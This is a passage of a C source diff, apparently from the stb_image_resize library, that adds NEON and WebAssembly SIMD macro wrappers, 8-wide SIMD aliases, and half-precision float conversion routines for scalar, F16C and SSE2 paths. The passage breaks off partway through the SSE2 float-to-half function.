+    #define stbir__simdf_swiz( reg, one, two, three, four ) vreinterpretq_f32_u8( vcombine_u8( \
+        vtbl2_u8( stbir_make8x2( reg ), stbir_make8( one, two ) ), \
+        vtbl2_u8( stbir_make8x2( reg ), stbir_make8( three, four ) ) ) )
+
+    #define stbir__simdi_16madd( out, reg0, reg1 ) \
+    { \
+      int16x8_t r0 = vreinterpretq_s16_u32(reg0); \
+      int16x8_t r1 = vreinterpretq_s16_u32(reg1); \
+      int32x4_t tmp0 = vmull_s16( vget_low_s16(r0), vget_low_s16(r1) ); \
+      int32x4_t tmp1 = vmull_s16( vget_high_s16(r0), vget_high_s16(r1) ); \
+      int32x2_t out0 = vpadd_s32( vget_low_s32(tmp0), vget_high_s32(tmp0) ); \
+      int32x2_t out1 = vpadd_s32( vget_low_s32(tmp1), vget_high_s32(tmp1) ); \
+      (out) = vreinterpretq_u32_s32( vcombine_s32(out0, out1) ); \
+    }
+
+  #endif
+
+  #define stbir__simdi_and( out, reg0, reg1 ) (out) = vandq_u32( reg0, reg1 )
+  #define stbir__simdi_or( out, reg0, reg1 ) (out) = vorrq_u32( reg0, reg1 )
+
+  #define stbir__simdf_pack_to_8bytes(out,aa,bb) \
+  { \
+    float32x4_t af = vmaxq_f32( vminq_f32(aa,STBIR__CONSTF(STBIR_max_uint8_as_float) ), vdupq_n_f32(0) ); \
+    float32x4_t bf = vmaxq_f32( vminq_f32(bb,STBIR__CONSTF(STBIR_max_uint8_as_float) ), vdupq_n_f32(0) ); \
+    int16x4_t ai = vqmovn_s32( vcvtq_s32_f32( af ) ); \
+    int16x4_t bi = vqmovn_s32( vcvtq_s32_f32( bf ) ); \
+    uint8x8_t out8 = vqmovun_s16( vcombine_s16(ai, bi) ); \
+    out = vreinterpretq_u32_u8( vcombine_u8(out8, out8) ); \
+  }
+
+  #define stbir__simdf_pack_to_8words(out,aa,bb) \
+  { \
+    float32x4_t af = vmaxq_f32( vminq_f32(aa,STBIR__CONSTF(STBIR_max_uint16_as_float) ), vdupq_n_f32(0) ); \
+    float32x4_t bf = vmaxq_f32( vminq_f32(bb,STBIR__CONSTF(STBIR_max_uint16_as_float) ), vdupq_n_f32(0) ); \
+    int32x4_t ai = vcvtq_s32_f32( af ); \
+    int32x4_t bi = vcvtq_s32_f32( bf ); \
+    out = vreinterpretq_u32_u16( vcombine_u16(vqmovun_s32(ai), vqmovun_s32(bi)) ); \
+  }
+
+  #define stbir__interleave_pack_and_store_16_u8( ptr, r0, r1, r2, r3 ) \
+  { \
+    int16x4x2_t tmp0 = vzip_s16( vqmovn_s32(vreinterpretq_s32_u32(r0)), vqmovn_s32(vreinterpretq_s32_u32(r2)) ); \
+    int16x4x2_t tmp1 = vzip_s16( vqmovn_s32(vreinterpretq_s32_u32(r1)), vqmovn_s32(vreinterpretq_s32_u32(r3)) ); \
+    uint8x8x2_t out = \
+    { { \
+      vqmovun_s16( vcombine_s16(tmp0.val[0], tmp0.val[1]) ), \
+      vqmovun_s16( vcombine_s16(tmp1.val[0], tmp1.val[1]) ), \
+    } }; \
+    vst2_u8(ptr, out); \
+  }
+
+  #define stbir__simdf_load4_transposed( o0, o1, o2, o3, ptr ) \
+  { \
+    float32x4x4_t tmp = vld4q_f32(ptr); \
+    o0 = tmp.val[0]; \
+    o1 = tmp.val[1]; \
+    o2 = tmp.val[2]; \
+    o3 = tmp.val[3]; \
+  }
+
+  #define stbir__simdi_32shr( out, reg, imm ) out = vshrq_n_u32( reg, imm )
+
+  #if defined( _MSC_VER ) && !defined(__clang__)
+    #define STBIR__SIMDF_CONST(var, x) __declspec(align(8)) float var[] = { x, x, x, x }
+    #define STBIR__SIMDI_CONST(var, x) __declspec(align(8)) uint32_t var[] = { x, x, x, x }
+    #define STBIR__CONSTF(var) (*(const float32x4_t*)var)
+    #define STBIR__CONSTI(var) (*(const uint32x4_t*)var)
+  #else
+    #define STBIR__SIMDF_CONST(var, x) stbir__simdf var = { x, x, x, x }
+    #define STBIR__SIMDI_CONST(var, x) stbir__simdi var = { x, x, x, x }
+    #define STBIR__CONSTF(var) (var)
+    #define STBIR__CONSTI(var) (var)
+  #endif
+
+  #ifdef STBIR_FLOORF
+  #undef STBIR_FLOORF
+  #endif
+  #define STBIR_FLOORF stbir_simd_floorf
+  static stbir__inline float stbir_simd_floorf(float x)
+  {
+    #if defined( _M_ARM64 ) || defined( __aarch64__ ) || defined( __arm64__ )
+    return vget_lane_f32( vrndm_f32( vdup_n_f32(x) ), 0);
+    #else
+    float32x2_t f = vdup_n_f32(x);
+    float32x2_t t = vcvt_f32_s32(vcvt_s32_f32(f));
+    uint32x2_t a = vclt_f32(f, t);
+    uint32x2_t b = vreinterpret_u32_f32(vdup_n_f32(-1.0f));
+    float32x2_t r = vadd_f32(t, vreinterpret_f32_u32(vand_u32(a, b)));
+    return vget_lane_f32(r, 0);
+    #endif
+  }
+
+  #ifdef STBIR_CEILF
+  #undef STBIR_CEILF
+  #endif
+  #define STBIR_CEILF stbir_simd_ceilf
+  static stbir__inline float stbir_simd_ceilf(float x)
+  {
+    #if defined( _M_ARM64 ) || defined( __aarch64__ ) || defined( __arm64__ )
+    return vget_lane_f32( vrndp_f32( vdup_n_f32(x) ), 0);
+    #else
+    float32x2_t f = vdup_n_f32(x);
+    float32x2_t t = vcvt_f32_s32(vcvt_s32_f32(f));
+    uint32x2_t a = vclt_f32(t, f);
+    uint32x2_t b = vreinterpret_u32_f32(vdup_n_f32(1.0f));
+    float32x2_t r = vadd_f32(t, vreinterpret_f32_u32(vand_u32(a, b)));
+    return vget_lane_f32(r, 0);
+    #endif
+  }
+
+  #define STBIR_SIMD
+
+#elif defined(STBIR_WASM)
+
+  #include <wasm_simd128.h>
+
+  #define stbir__simdf v128_t
+  #define stbir__simdi v128_t
+
+  #define stbir_simdi_castf( reg ) (reg)
+  #define stbir_simdf_casti( reg ) (reg)
+
+  #define stbir__simdf_load( reg, ptr )             (reg) = wasm_v128_load( (void const*)(ptr) )
+  #define stbir__simdi_load( reg, ptr )             (reg) = wasm_v128_load( (void const*)(ptr) )
+  #define stbir__simdf_load1( out, ptr )            (out) = wasm_v128_load32_splat( (void const*)(ptr) ) // top values can be random (not denormal or nan for perf)
+  #define stbir__simdi_load1( out, ptr )            (out) = wasm_v128_load32_splat( (void const*)(ptr) )
+  #define stbir__simdf_load1z( out, ptr )           (out) = wasm_v128_load32_zero( (void const*)(ptr) ) // top values must be zero
+  #define stbir__simdf_frep4( fvar )                wasm_f32x4_splat( fvar )
+  #define stbir__simdf_load1frep4( out, fvar )      (out) = wasm_f32x4_splat( fvar )
+  #define stbir__simdf_load2( out, ptr )            (out) = wasm_v128_load64_splat( (void const*)(ptr) ) // top values can be random (not denormal or nan for perf)
+  #define stbir__simdf_load2z( out, ptr )           (out) = wasm_v128_load64_zero( (void const*)(ptr) ) // top values must be zero
+  #define stbir__simdf_load2hmerge( out, reg, ptr ) (out) = wasm_v128_load64_lane( (void const*)(ptr), reg, 1 )
+
+  #define stbir__simdf_zeroP() wasm_f32x4_const_splat(0)
+  #define stbir__simdf_zero( reg ) (reg) = wasm_f32x4_const_splat(0)
+
+  #define stbir__simdf_store( ptr, reg )   wasm_v128_store( (void*)(ptr), reg )
+  #define stbir__simdf_store1( ptr, reg )  wasm_v128_store32_lane( (void*)(ptr), reg, 0 )
+  #define stbir__simdf_store2( ptr, reg )  wasm_v128_store64_lane( (void*)(ptr), reg, 0 )
+  #define stbir__simdf_store2h( ptr, reg ) wasm_v128_store64_lane( (void*)(ptr), reg, 1 )
+
+  #define stbir__simdi_store( ptr, reg )  wasm_v128_store( (void*)(ptr), reg )
+  #define stbir__simdi_store1( ptr, reg ) wasm_v128_store32_lane( (void*)(ptr), reg, 0 )
+  #define stbir__simdi_store2( ptr, reg ) wasm_v128_store64_lane( (void*)(ptr), reg, 0 )
+
+  #define stbir__prefetch( ptr )
+
+  #define stbir__simdi_expand_u8_to_u32(out0,out1,out2,out3,ireg) \
+  { \
+    v128_t l = wasm_u16x8_extend_low_u8x16 ( ireg ); \
+    v128_t h = wasm_u16x8_extend_high_u8x16( ireg ); \
+    out0 = wasm_u32x4_extend_low_u16x8 ( l ); \
+    out1 = wasm_u32x4_extend_high_u16x8( l ); \
+    out2 = wasm_u32x4_extend_low_u16x8 ( h ); \
+    out3 = wasm_u32x4_extend_high_u16x8( h ); \
+  }
+
+  #define stbir__simdi_expand_u8_to_1u32(out,ireg) \
+  { \
+    v128_t tmp = wasm_u16x8_extend_low_u8x16(ireg); \
+    out = wasm_u32x4_extend_low_u16x8(tmp); \
+  }
+
+  #define stbir__simdi_expand_u16_to_u32(out0,out1,ireg) \
+  { \
+    out0 = wasm_u32x4_extend_low_u16x8 ( ireg ); \
+    out1 = wasm_u32x4_extend_high_u16x8( ireg ); \
+  }
+
+  #define stbir__simdf_convert_float_to_i32( i, f )    (i) = wasm_i32x4_trunc_sat_f32x4(f)
+  #define stbir__simdf_convert_float_to_int( f )       wasm_i32x4_extract_lane(wasm_i32x4_trunc_sat_f32x4(f), 0)
+  #define stbir__simdi_to_int( i )                     wasm_i32x4_extract_lane(i, 0)
+  #define stbir__simdf_convert_float_to_uint8( f )     ((unsigned char)wasm_i32x4_extract_lane(wasm_i32x4_trunc_sat_f32x4(wasm_f32x4_max(wasm_f32x4_min(f,STBIR_max_uint8_as_float),wasm_f32x4_const_splat(0))), 0))
+  #define stbir__simdf_convert_float_to_short( f )     ((unsigned short)wasm_i32x4_extract_lane(wasm_i32x4_trunc_sat_f32x4(wasm_f32x4_max(wasm_f32x4_min(f,STBIR_max_uint16_as_float),wasm_f32x4_const_splat(0))), 0))
+  #define stbir__simdi_convert_i32_to_float(out, ireg) (out) = wasm_f32x4_convert_i32x4(ireg)
+  #define stbir__simdf_add( out, reg0, reg1 )          (out) = wasm_f32x4_add( reg0, reg1 )
+  #define stbir__simdf_mult( out, reg0, reg1 )         (out) = wasm_f32x4_mul( reg0, reg1 )
+  #define stbir__simdf_mult_mem( out, reg, ptr )       (out) = wasm_f32x4_mul( reg, wasm_v128_load( (void const*)(ptr) ) )
+  #define stbir__simdf_mult1_mem( out, reg, ptr )      (out) = wasm_f32x4_mul( reg, wasm_v128_load32_splat( (void const*)(ptr) ) )
+  #define stbir__simdf_add_mem( out, reg, ptr )        (out) = wasm_f32x4_add( reg, wasm_v128_load( (void const*)(ptr) ) )
+  #define stbir__simdf_add1_mem( out, reg, ptr )       (out) = wasm_f32x4_add( reg, wasm_v128_load32_splat( (void const*)(ptr) ) )
+
+  #define stbir__simdf_madd( out, add, mul1, mul2 )    (out) = wasm_f32x4_add( add, wasm_f32x4_mul( mul1, mul2 ) )
+  #define stbir__simdf_madd1( out, add, mul1, mul2 )   (out) = wasm_f32x4_add( add, wasm_f32x4_mul( mul1, mul2 ) )
+  #define stbir__simdf_madd_mem( out, add, mul, ptr )  (out) = wasm_f32x4_add( add, wasm_f32x4_mul( mul, wasm_v128_load( (void const*)(ptr) ) ) )
+  #define stbir__simdf_madd1_mem( out, add, mul, ptr ) (out) = wasm_f32x4_add( add, wasm_f32x4_mul( mul, wasm_v128_load32_splat( (void const*)(ptr) ) ) )
+
+  #define stbir__simdf_add1( out, reg0, reg1 )  (out) = wasm_f32x4_add( reg0, reg1 )
+  #define stbir__simdf_mult1( out, reg0, reg1 ) (out) = wasm_f32x4_mul( reg0, reg1 )
+
+  #define stbir__simdf_and( out, reg0, reg1 ) (out) = wasm_v128_and( reg0, reg1 )
+  #define stbir__simdf_or( out, reg0, reg1 )  (out) = wasm_v128_or( reg0, reg1 )
+
+  #define stbir__simdf_min( out, reg0, reg1 ) (out) = wasm_f32x4_min( reg0, reg1 )
+  #define stbir__simdf_max( out, reg0, reg1 ) (out) = wasm_f32x4_max( reg0, reg1 )
+  #define stbir__simdf_min1( out, reg0, reg1 ) (out) = wasm_f32x4_min( reg0, reg1 )
+  #define stbir__simdf_max1( out, reg0, reg1 ) (out) = wasm_f32x4_max( reg0, reg1 )
+
+  #define stbir__simdf_0123ABCDto3ABx( out, reg0, reg1 ) (out) = wasm_i32x4_shuffle( reg0, reg1, 3, 4, 5, -1 )
+  #define stbir__simdf_0123ABCDto23Ax( out, reg0, reg1 ) (out) = wasm_i32x4_shuffle( reg0, reg1, 2, 3, 4, -1 )
+
+  #define stbir__simdf_aaa1(out,alp,ones) (out) = wasm_i32x4_shuffle(alp, ones, 3, 3, 3, 4)
+  #define stbir__simdf_1aaa(out,alp,ones) (out) = wasm_i32x4_shuffle(alp, ones, 4, 0, 0, 0)
+  #define stbir__simdf_a1a1(out,alp,ones) (out) = wasm_i32x4_shuffle(alp, ones, 1, 4, 3, 4)
+  #define stbir__simdf_1a1a(out,alp,ones) (out) = wasm_i32x4_shuffle(alp, ones, 4, 0, 4, 2)
+
+  #define stbir__simdf_swiz( reg, one, two, three, four ) wasm_i32x4_shuffle(reg, reg, one, two, three, four)
+
+  #define stbir__simdi_and( out, reg0, reg1 )    (out) = wasm_v128_and( reg0, reg1 )
+  #define stbir__simdi_or( out, reg0, reg1 )     (out) = wasm_v128_or( reg0, reg1 )
+  #define stbir__simdi_16madd( out, reg0, reg1 ) (out) = wasm_i32x4_dot_i16x8( reg0, reg1 )
+
+  #define stbir__simdf_pack_to_8bytes(out,aa,bb) \
+  { \
+    v128_t af = wasm_f32x4_max( wasm_f32x4_min(aa, STBIR_max_uint8_as_float), wasm_f32x4_const_splat(0) ); \
+    v128_t bf = wasm_f32x4_max( wasm_f32x4_min(bb, STBIR_max_uint8_as_float), wasm_f32x4_const_splat(0) ); \
+    v128_t ai = wasm_i32x4_trunc_sat_f32x4( af ); \
+    v128_t bi = wasm_i32x4_trunc_sat_f32x4( bf ); \
+    v128_t out16 = wasm_i16x8_narrow_i32x4( ai, bi ); \
+    out = wasm_u8x16_narrow_i16x8( out16, out16 ); \
+  }
+
+  #define stbir__simdf_pack_to_8words(out,aa,bb) \
+  { \
+    v128_t af = wasm_f32x4_max( wasm_f32x4_min(aa, STBIR_max_uint16_as_float), wasm_f32x4_const_splat(0)); \
+    v128_t bf = wasm_f32x4_max( wasm_f32x4_min(bb, STBIR_max_uint16_as_float), wasm_f32x4_const_splat(0)); \
+    v128_t ai = wasm_i32x4_trunc_sat_f32x4( af ); \
+    v128_t bi = wasm_i32x4_trunc_sat_f32x4( bf ); \
+    out = wasm_u16x8_narrow_i32x4( ai, bi ); \
+  }
+
+  #define stbir__interleave_pack_and_store_16_u8( ptr, r0, r1, r2, r3 ) \
+  { \
+    v128_t tmp0 = wasm_i16x8_narrow_i32x4(r0, r1); \
+    v128_t tmp1 = wasm_i16x8_narrow_i32x4(r2, r3); \
+    v128_t tmp = wasm_u8x16_narrow_i16x8(tmp0, tmp1); \
+    tmp = wasm_i8x16_shuffle(tmp, tmp, 0, 4, 8, 12, 1, 5, 9, 13, 2, 6, 10, 14, 3, 7, 11, 15); \
+    wasm_v128_store( (void*)(ptr), tmp); \
+  }
+
+  #define stbir__simdf_load4_transposed( o0, o1, o2, o3, ptr ) \
+  { \
+    v128_t t0 = wasm_v128_load( ptr    ); \
+    v128_t t1 = wasm_v128_load( ptr+4  ); \
+    v128_t t2 = wasm_v128_load( ptr+8  ); \
+    v128_t t3 = wasm_v128_load( ptr+12 ); \
+    v128_t s0 = wasm_i32x4_shuffle(t0, t1, 0, 4, 2, 6); \
+    v128_t s1 = wasm_i32x4_shuffle(t0, t1, 1, 5, 3, 7); \
+    v128_t s2 = wasm_i32x4_shuffle(t2, t3, 0, 4, 2, 6); \
+    v128_t s3 = wasm_i32x4_shuffle(t2, t3, 1, 5, 3, 7); \
+    o0 = wasm_i32x4_shuffle(s0, s2, 0, 1, 4, 5); \
+    o1 = wasm_i32x4_shuffle(s1, s3, 0, 1, 4, 5); \
+    o2 = wasm_i32x4_shuffle(s0, s2, 2, 3, 6, 7); \
+    o3 = wasm_i32x4_shuffle(s1, s3, 2, 3, 6, 7); \
+  }
+
+  #define stbir__simdi_32shr( out, reg, imm ) out = wasm_u32x4_shr( reg, imm )
+
+  typedef float stbir__f32x4 __attribute__((__vector_size__(16), __aligned__(16)));
+  #define STBIR__SIMDF_CONST(var, x) stbir__simdf var = (v128_t)(stbir__f32x4){ x, x, x, x }
+  #define STBIR__SIMDI_CONST(var, x) stbir__simdi var = { x, x, x, x }
+  #define STBIR__CONSTF(var) (var)
+  #define STBIR__CONSTI(var) (var)
+
+  #ifdef STBIR_FLOORF
+  #undef STBIR_FLOORF
+  #endif
+  #define STBIR_FLOORF stbir_simd_floorf
+  static stbir__inline float stbir_simd_floorf(float x)
+  {
+    return wasm_f32x4_extract_lane( wasm_f32x4_floor( wasm_f32x4_splat(x) ), 0);
+  }
+
+  #ifdef STBIR_CEILF
+  #undef STBIR_CEILF
+  #endif
+  #define STBIR_CEILF stbir_simd_ceilf
+  static stbir__inline float stbir_simd_ceilf(float x)
+  {
+    return wasm_f32x4_extract_lane( wasm_f32x4_ceil( wasm_f32x4_splat(x) ), 0);
+  }
+
+  #define STBIR_SIMD
+
+#endif  // SSE2/NEON/WASM
+
+#endif // NO SIMD
+
+#ifdef STBIR_SIMD8
+  #define stbir__simdfX stbir__simdf8
+  #define stbir__simdiX stbir__simdi8
+  #define stbir__simdfX_load stbir__simdf8_load
+  #define stbir__simdiX_load stbir__simdi8_load
+  #define stbir__simdfX_mult stbir__simdf8_mult
+  #define stbir__simdfX_add_mem stbir__simdf8_add_mem
+  #define stbir__simdfX_madd_mem stbir__simdf8_madd_mem
+  #define stbir__simdfX_store stbir__simdf8_store
+  #define stbir__simdiX_store stbir__simdi8_store
+  #define stbir__simdf_frepX  stbir__simdf8_frep8
+  #define stbir__simdfX_madd stbir__simdf8_madd
+  #define stbir__simdfX_min stbir__simdf8_min
+  #define stbir__simdfX_max stbir__simdf8_max
+  #define stbir__simdfX_aaa1 stbir__simdf8_aaa1
+  #define stbir__simdfX_1aaa stbir__simdf8_1aaa
+  #define stbir__simdfX_a1a1 stbir__simdf8_a1a1
+  #define stbir__simdfX_1a1a stbir__simdf8_1a1a
+  #define stbir__simdfX_convert_float_to_i32 stbir__simdf8_convert_float_to_i32
+  #define stbir__simdfX_pack_to_words stbir__simdf8_pack_to_16words
+  #define stbir__simdfX_zero stbir__simdf8_zero
+  #define STBIR_onesX STBIR_ones8
+  #define STBIR_max_uint8_as_floatX STBIR_max_uint8_as_float8
+  #define STBIR_max_uint16_as_floatX STBIR_max_uint16_as_float8
+  #define STBIR_simd_point5X STBIR_simd_point58
+  #define stbir__simdfX_float_count 8
+  #define stbir__simdfX_0123to1230 stbir__simdf8_0123to12301230
+  #define stbir__simdfX_0123to2103 stbir__simdf8_0123to21032103
+  static const stbir__simdf8 STBIR_max_uint16_as_float_inverted8 = { stbir__max_uint16_as_float_inverted,stbir__max_uint16_as_float_inverted,stbir__max_uint16_as_float_inverted,stbir__max_uint16_as_float_inverted,stbir__max_uint16_as_float_inverted,stbir__max_uint16_as_float_inverted,stbir__max_uint16_as_float_inverted,stbir__max_uint16_as_float_inverted };
+  static const stbir__simdf8 STBIR_max_uint8_as_float_inverted8 = { stbir__max_uint8_as_float_inverted,stbir__max_uint8_as_float_inverted,stbir__max_uint8_as_float_inverted,stbir__max_uint8_as_float_inverted,stbir__max_uint8_as_float_inverted,stbir__max_uint8_as_float_inverted,stbir__max_uint8_as_float_inverted,stbir__max_uint8_as_float_inverted };
+  static const stbir__simdf8 STBIR_ones8 = { 1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0 };
+  static const stbir__simdf8 STBIR_simd_point58 = { 0.5,0.5,0.5,0.5,0.5,0.5,0.5,0.5 };
+  static const stbir__simdf8 STBIR_max_uint8_as_float8 = { stbir__max_uint8_as_float,stbir__max_uint8_as_float,stbir__max_uint8_as_float,stbir__max_uint8_as_float, stbir__max_uint8_as_float,stbir__max_uint8_as_float,stbir__max_uint8_as_float,stbir__max_uint8_as_float };
+  static const stbir__simdf8 STBIR_max_uint16_as_float8 = { stbir__max_uint16_as_float,stbir__max_uint16_as_float,stbir__max_uint16_as_float,stbir__max_uint16_as_float, stbir__max_uint16_as_float,stbir__max_uint16_as_float,stbir__max_uint16_as_float,stbir__max_uint16_as_float };
+#else
+  #define stbir__simdfX stbir__simdf
+  #define stbir__simdiX stbir__simdi
+  #define stbir__simdfX_load stbir__simdf_load
+  #define stbir__simdiX_load stbir__simdi_load
+  #define stbir__simdfX_mult stbir__simdf_mult
+  #define stbir__simdfX_add_mem stbir__simdf_add_mem
+  #define stbir__simdfX_madd_mem stbir__simdf_madd_mem
+  #define stbir__simdfX_store stbir__simdf_store
+  #define stbir__simdiX_store stbir__simdi_store
+  #define stbir__simdf_frepX  stbir__simdf_frep4
+  #define stbir__simdfX_madd stbir__simdf_madd
+  #define stbir__simdfX_min stbir__simdf_min
+  #define stbir__simdfX_max stbir__simdf_max
+  #define stbir__simdfX_aaa1 stbir__simdf_aaa1
+  #define stbir__simdfX_1aaa stbir__simdf_1aaa
+  #define stbir__simdfX_a1a1 stbir__simdf_a1a1
+  #define stbir__simdfX_1a1a stbir__simdf_1a1a
+  #define stbir__simdfX_convert_float_to_i32 stbir__simdf_convert_float_to_i32
+  #define stbir__simdfX_pack_to_words stbir__simdf_pack_to_8words
+  #define stbir__simdfX_zero stbir__simdf_zero
+  #define STBIR_onesX STBIR__CONSTF(STBIR_ones)
+  #define STBIR_simd_point5X STBIR__CONSTF(STBIR_simd_point5)
+  #define STBIR_max_uint8_as_floatX STBIR__CONSTF(STBIR_max_uint8_as_float)
+  #define STBIR_max_uint16_as_floatX STBIR__CONSTF(STBIR_max_uint16_as_float)
+  #define stbir__simdfX_float_count 4
+  #define stbir__if_simdf8_cast_to_simdf4( val ) ( val )
+  #define stbir__simdfX_0123to1230 stbir__simdf_0123to1230
+  #define stbir__simdfX_0123to2103 stbir__simdf_0123to2103
+#endif
+
+
+#if defined(STBIR_NEON) && !defined(_M_ARM) && !defined(__arm__)
+
+  #if defined( _MSC_VER ) && !defined(__clang__)
+  typedef __int16 stbir__FP16;
+  #else
+  typedef float16_t stbir__FP16;
+  #endif
+
+#else // no NEON, or 32-bit ARM for MSVC
+
+  typedef union stbir__FP16
+  {
+    unsigned short u;
+  } stbir__FP16;
+
+#endif
+
+#if (!defined(STBIR_NEON) && !defined(STBIR_FP16C)) || (defined(STBIR_NEON) && defined(_M_ARM)) || (defined(STBIR_NEON) && defined(__arm__))
+
+  // Fabian's half float routines, see: https://gist.github.com/rygorous/2156668
+
+  static stbir__inline float stbir__half_to_float( stbir__FP16 h )
+  {
+    static const stbir__FP32 magic = { (254 - 15) << 23 };
+    static const stbir__FP32 was_infnan = { (127 + 16) << 23 };
+    stbir__FP32 o;
+
+    o.u = (h.u & 0x7fff) << 13;     // exponent/mantissa bits
+    o.f *= magic.f;                 // exponent adjust
+    if (o.f >= was_infnan.f)        // make sure Inf/NaN survive
+      o.u |= 255 << 23;
+    o.u |= (h.u & 0x8000) << 16;    // sign bit
+    return o.f;
+  }
+
+  static stbir__inline stbir__FP16 stbir__float_to_half(float val)
+  {
+    stbir__FP32 f32infty = { 255 << 23 };
+    stbir__FP32 f16max   = { (127 + 16) << 23 };
+    stbir__FP32 denorm_magic = { ((127 - 15) + (23 - 10) + 1) << 23 };
+    unsigned int sign_mask = 0x80000000u;
+    stbir__FP16 o = { 0 };
+    stbir__FP32 f;
+    unsigned int sign;
+
+    f.f = val;
+    sign = f.u & sign_mask;
+    f.u ^= sign;
+
+    if (f.u >= f16max.u) // result is Inf or NaN (all exponent bits set)
+      o.u = (f.u > f32infty.u) ? 0x7e00 : 0x7c00; // NaN->qNaN and Inf->Inf
+    else // (De)normalized number or zero
+    {
+      if (f.u < (113 << 23)) // resulting FP16 is subnormal or zero
+      {
+        // use a magic value to align our 10 mantissa bits at the bottom of
+        // the float. as long as FP addition is round-to-nearest-even this
+        // just works.
+        f.f += denorm_magic.f;
+        // and one integer subtract of the bias later, we have our final float!
+        o.u = (unsigned short) ( f.u - denorm_magic.u );
+      }
+      else
+      {
+        unsigned int mant_odd = (f.u >> 13) & 1; // resulting mantissa is odd
+        // update exponent, rounding bias part 1
+        f.u = f.u + ((15u - 127) << 23) + 0xfff;
+        // rounding bias part 2
+        f.u += mant_odd;
+        // take the bits!
+        o.u = (unsigned short) ( f.u >> 13 );
+      }
+    }
+
+    o.u |= sign >> 16;
+    return o;
+  }
+
+#endif
+
+
+#if defined(STBIR_FP16C)
+
+  #include <immintrin.h>
+
+  static stbir__inline void stbir__half_to_float_SIMD(float * output, stbir__FP16 const * input)
+  {
+    _mm256_storeu_ps( (float*)output, _mm256_cvtph_ps( _mm_loadu_si128( (__m128i const* )input ) ) );
+  }
+
+  static stbir__inline void stbir__float_to_half_SIMD(stbir__FP16 * output, float const * input)
+  {
+    _mm_storeu_si128( (__m128i*)output, _mm256_cvtps_ph( _mm256_loadu_ps( input ), 0 ) );
+  }
+
+  static stbir__inline float stbir__half_to_float( stbir__FP16 h )
+  {
+    return _mm_cvtss_f32( _mm_cvtph_ps( _mm_cvtsi32_si128( (int)h.u ) ) );
+  }
+
+  static stbir__inline stbir__FP16 stbir__float_to_half( float f )
+  {
+    stbir__FP16 h;
+    h.u = (unsigned short) _mm_cvtsi128_si32( _mm_cvtps_ph( _mm_set_ss( f ), 0 ) );
+    return h;
+  }
+
+#elif defined(STBIR_SSE2)
+
+  // Fabian's half float routines, see: https://gist.github.com/rygorous/2156668
+  stbir__inline static void stbir__half_to_float_SIMD(float * output, void const * input)
+  {
+    static const STBIR__SIMDI_CONST(mask_nosign,      0x7fff);
+    static const STBIR__SIMDI_CONST(smallest_normal,  0x0400);
+    static const STBIR__SIMDI_CONST(infinity,         0x7c00);
+    static const STBIR__SIMDI_CONST(expadjust_normal, (127 - 15) << 23);
+    static const STBIR__SIMDI_CONST(magic_denorm,     113 << 23);
+
+    __m128i i = _mm_loadu_si128 ( (__m128i const*)(input) );
+    __m128i h = _mm_unpacklo_epi16 ( i, _mm_setzero_si128() );
+    __m128i mnosign     = STBIR__CONSTI(mask_nosign);
+    __m128i eadjust     = STBIR__CONSTI(expadjust_normal);
+    __m128i smallest    = STBIR__CONSTI(smallest_normal);
+    __m128i infty       = STBIR__CONSTI(infinity);
+    __m128i expmant     = _mm_and_si128(mnosign, h);
+    __m128i justsign    = _mm_xor_si128(h, expmant);
+    __m128i b_notinfnan = _mm_cmpgt_epi32(infty, expmant);
+    __m128i b_isdenorm  = _mm_cmpgt_epi32(smallest, expmant);
+    __m128i shifted     = _mm_slli_epi32(expmant, 13);
+    __m128i adj_infnan  = _mm_andnot_si128(b_notinfnan, eadjust);
+    __m128i adjusted    = _mm_add_epi32(eadjust, shifted);
+    __m128i den1        = _mm_add_epi32(shifted, STBIR__CONSTI(magic_denorm));
+    __m128i adjusted2   = _mm_add_epi32(adjusted, adj_infnan);
+    __m128  den2        = _mm_sub_ps(_mm_castsi128_ps(den1), *(const __m128 *)&magic_denorm);
+    __m128  adjusted3   = _mm_and_ps(den2, _mm_castsi128_ps(b_isdenorm));
+    __m128  adjusted4   = _mm_andnot_ps(_mm_castsi128_ps(b_isdenorm), _mm_castsi128_ps(adjusted2));
+    __m128  adjusted5   = _mm_or_ps(adjusted3, adjusted4);
+    __m128i sign        = _mm_slli_epi32(justsign, 16);
+    __m128  final       = _mm_or_ps(adjusted5, _mm_castsi128_ps(sign));
+    stbir__simdf_store( output + 0,  final );
+
+    h = _mm_unpackhi_epi16 ( i, _mm_setzero_si128() );
+    expmant     = _mm_and_si128(mnosign, h);
+    justsign    = _mm_xor_si128(h, expmant);
+    b_notinfnan = _mm_cmpgt_epi32(infty, expmant);
+    b_isdenorm  = _mm_cmpgt_epi32(smallest, expmant);
+    shifted     = _mm_slli_epi32(expmant, 13);
+    adj_infnan  = _mm_andnot_si128(b_notinfnan, eadjust);
+    adjusted    = _mm_add_epi32(eadjust, shifted);
+    den1        = _mm_add_epi32(shifted, STBIR__CONSTI(magic_denorm));
+    adjusted2   = _mm_add_epi32(adjusted, adj_infnan);
+    den2        = _mm_sub_ps(_mm_castsi128_ps(den1), *(const __m128 *)&magic_denorm);
+    adjusted3   = _mm_and_ps(den2, _mm_castsi128_ps(b_isdenorm));
+    adjusted4   = _mm_andnot_ps(_mm_castsi128_ps(b_isdenorm), _mm_castsi128_ps(adjusted2));
+    adjusted5   = _mm_or_ps(adjusted3, adjusted4);
+    sign        = _mm_slli_epi32(justsign, 16);
+    final       = _mm_or_ps(adjusted5, _mm_castsi128_ps(sign));
+    stbir__simdf_store( output + 4,  final );
+
+    // ~38 SSE2 ops for 8 values
+  }
+
+  // Fabian's round-to-nearest-even float to half
+  // ~48 SSE2 ops for 8 output
+  stbir__inline static void stbir__float_to_half_SIMD(void * output, float const * input)
+  {
+    static const STBIR__SIMDI_CONST(mask_sign,      0x80000000u);
+    static const STBIR__SIMDI_CONST(c_f16max,       (127 + 16) << 23); // all FP32 values >=this round to +inf
+    static const STBIR__SIMDI_CONST(c_nanbit,        0x200);
+    static const STBIR__SIMDI_CONST(c_infty_as_fp16, 0x7c00);
+    static const STBIR__SIMDI_CONST(c_min_normal,    (127 - 14) << 23); // smallest FP32 that yields a normalized FP16
+    static const STBIR__SIMDI_CONST(c_subnorm_magic, ((127 - 15) + (23 - 10) + 1) << 23);
+    static const STBIR__SIMDI_CONST(c_normal_bias,    0xfff - ((127 - 15) << 23)); // adjust exponent and add mantissa rounding
+
+    __m128  f           =  _mm_loadu_ps(input);
+    __m128  msign       = _mm_castsi128_ps(STBIR__CONSTI(mask_sign));
+    __m128  justsign    = _mm_and_ps(msign, f);
+    __m128  absf        = _mm_xor_ps(f, justsign);
